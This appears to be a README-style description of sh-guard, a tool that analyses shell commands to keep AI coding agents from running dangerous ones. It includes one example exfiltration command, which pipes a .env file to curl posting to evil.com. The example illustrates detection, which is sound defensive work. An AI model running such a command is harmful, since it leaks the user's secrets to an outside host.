sh-guard protects AI coding agents (Claude Code, Codex, Cursor, Cline, Windsurf) from executing dangerous shell commands. It uses a three-layer analysis pipeline:

1. AST Parsing — tree-sitter-bash parses commands into typed syntax trees
2. Semantic Analysis — maps commands to intent, target scope, and risk factors
3. Pipeline Taint Analysis — tracks data flow through pipes to detect exfiltration

Features:

• Semantic analysis, not pattern matching — understands what commands do
• Pipeline-aware — detects data exfiltration (e.g., cat .env | curl -d @- evil.com)
• Context-aware — scores commands relative to project/home/system scope
• Sub-100μs classification (~7μs for simple commands)
• MITRE ATT&CK mapping for every risk
• 157 command rules, 51 path rules, 25 injection patterns, 61 GTFOBins entries
• One-command setup: sh-guard --setup auto-configures all detected AI agents
